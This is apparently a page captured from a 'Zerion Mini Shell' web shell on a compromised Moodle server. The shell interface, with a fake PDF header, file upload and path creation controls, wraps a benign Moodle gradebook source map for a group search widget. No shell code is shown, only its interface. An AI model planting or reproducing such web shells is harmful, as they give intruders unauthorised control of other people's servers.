%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/vacivi36/ava/grade/amd/build/searchwidget/
Upload File :
Create Path :
Current File : /home/vacivi36/ava/grade/amd/build/searchwidget/group.min.js.map

{"version":3,"file":"group.min.js","sources":["../../src/searchwidget/group.js"],"sourcesContent":["// This file is part of Moodle - http://moodle.org/\n//\n// Moodle is free software: you can redistribute it and/or modify\n// it under the terms of the GNU General Public License as published by\n// the Free Software Foundation, either version 3 of the License, or\n// (at your option) any later version.\n//\n// Moodle is distributed in the hope that it will be useful,\n// but WITHOUT ANY WARRANTY; without even the implied warranty of\n// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n// GNU General Public License for more details.\n//\n// You should have received a copy of the GNU General Public License\n// along with Moodle.  If not, see <http://www.gnu.org/licenses/>.\n\n/**\n * A widget to search groups within the gradebook.\n *\n * @module    core_grades/searchwidget/group\n * @copyright 2022 Mathew May <mathew.solutions>\n * @license   http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later\n */\n\nimport Pending from 'core/pending';\nimport * as Templates from 'core/templates';\nimport * as Repository from 'core_grades/searchwidget/repository';\nimport * as WidgetBase from 'core_grades/searchwidget/basewidget';\nimport $ from 'jquery';\nimport * as Selectors from 'core_grades/searchwidget/selectors';\n\n/**\n * Whether the event listener has already been registered for this module.\n *\n * @type {boolean}\n */\nlet registered = false;\n\n/**\n * Our entry point into starting to build the group search widget.\n *\n * It'll eventually, based upon the listeners, open the search widget and allow filtering.\n *\n * @method init\n */\nexport const init = () => {\n    if (registered) {\n        return;\n    }\n    const pendingPromise = new Pending();\n    registerListenerEvents();\n    pendingPromise.resolve();\n    registered = true;\n};\n\n/**\n * Register event listeners.\n *\n * @method registerListenerEvents\n */\nconst registerListenerEvents = () => {\n    let {bodyPromiseResolver, bodyPromise} = WidgetBase.promisesAndResolvers();\n    const dropdownMenuContainer = document.querySelector(Selectors.elements.getSearchWidgetDropdownSelector('group'));\n\n    // Handle the 'shown.bs.dropdown' event (Fired when the dropdown menu is fully displayed).\n    $(Selectors.elements.getSearchWidgetSelector('group')).on('show.bs.dropdown', async(e) => {\n        const courseID = e.relatedTarget.dataset.courseid;\n        const actionBaseUrl = e.relatedTarget.dataset.actionBaseUrl;\n        // Display a loading icon in the dropdown menu container until the body promise is resolved.\n        await WidgetBase.showLoader(dropdownMenuContainer);\n\n        // If an error occurs while fetching the data, display the error within the dropdown menu.\n        const data = await Repository.groupFetch(courseID, actionBaseUrl).catch(async(e) => {\n            const errorTemplateData = {\n                'errormessage': e.message\n            };\n            bodyPromiseResolver(\n                await Templates.render('core_grades/searchwidget/error', errorTemplateData)\n            );\n        });\n        // Early return if there is no module data.\n        if (data === []) {\n            return;\n        }\n        await WidgetBase.init(\n            dropdownMenuContainer,\n            bodyPromise,\n            data.groups,\n            searchGroups(),\n        );\n    });\n\n    // Resolvers for passed functions in the dropdown creation.\n    bodyPromiseResolver(Templates.render(\n        'core_grades/searchwidget/group/groupsearch_body',\n        []\n    ));\n\n    // Handle the 'hide.bs.dropdown' event (Fired when the dropdown menu is being closed).\n    $(Selectors.elements.getSearchWidgetSelector('group')).on('hide.bs.dropdown', () => {\n        // Reset the state once the groups menu dropdown is closed.\n        dropdownMenuContainer.innerHTML = '';\n    });\n};\n\n/**\n * Define how we want to search and filter groups when the user decides to input a search value.\n *\n * @method registerListenerEvents\n * @returns {function(): function(*, *): (*)}\n */\nconst searchGroups = () => {\n    return () => {\n        return (groups, searchTerm) => {\n            if (searchTerm === '') {\n                return groups;\n            }\n            searchTerm = searchTerm.toLowerCase();\n            const searchResults = [];\n            groups.forEach((group) => {\n                const groupName = group.name.toLowerCase();\n                if (groupName.includes(searchTerm)) {\n                    searchResults.push(group);\n                }\n            });\n            return searchResults;\n        };\n    };\n};\n"],"names":["registered","pendingPromise","Pending","registerListenerEvents","resolve","bodyPromiseResolver","bodyPromise","WidgetBase","promisesAndResolvers","dropdownMenuContainer","document","querySelector","Selectors","elements","getSearchWidgetDropdownSelector","getSearchWidgetSelector","on","async","courseID","e","relatedTarget","dataset","courseid","actionBaseUrl","showLoader","data","Repository","groupFetch","catch","errorTemplateData","message","Templates","render","init","groups","searchGroups","innerHTML","searchTerm","toLowerCase","searchResults","forEach","group","name","includes","push"],"mappings":";;;;;;;gWAmCIA,YAAa,gBASG,QACZA,wBAGEC,eAAiB,IAAIC,iBAC3BC,yBACAF,eAAeG,UACfJ,YAAa,SAQXG,uBAAyB,SACvBE,oBAACA,oBAADC,YAAsBA,aAAeC,WAAWC,6BAC9CC,sBAAwBC,SAASC,cAAcC,UAAUC,SAASC,gCAAgC,8BAGtGF,UAAUC,SAASE,wBAAwB,UAAUC,GAAG,oBAAoBC,MAAAA,UACpEC,SAAWC,EAAEC,cAAcC,QAAQC,SACnCC,cAAgBJ,EAAEC,cAAcC,QAAQE,oBAExChB,WAAWiB,WAAWf,6BAGtBgB,WAAaC,WAAWC,WAAWT,SAAUK,eAAeK,OAAMX,MAAAA,UAC9DY,kBAAoB,cACNV,EAAEW,SAEtBzB,0BACU0B,UAAUC,OAAO,iCAAkCH,uBAI7DJ,OAAS,UAGPlB,WAAW0B,KACbxB,sBACAH,YACAmB,KAAKS,OACLC,mBAKR9B,oBAAoB0B,UAAUC,OAC1B,kDACA,yBAIFpB,UAAUC,SAASE,wBAAwB,UAAUC,GAAG,oBAAoB,KAE1EP,sBAAsB2B,UAAY,OAUpCD,aAAe,IACV,IACI,CAACD,OAAQG,iBACO,KAAfA,kBACOH,OAEXG,WAAaA,WAAWC,oBAClBC,cAAgB,UACtBL,OAAOM,SAASC,QACMA,MAAMC,KAAKJ,cACfK,SAASN,aACnBE,cAAcK,KAAKH,UAGpBF"}

Zerion Mini Shell 1.0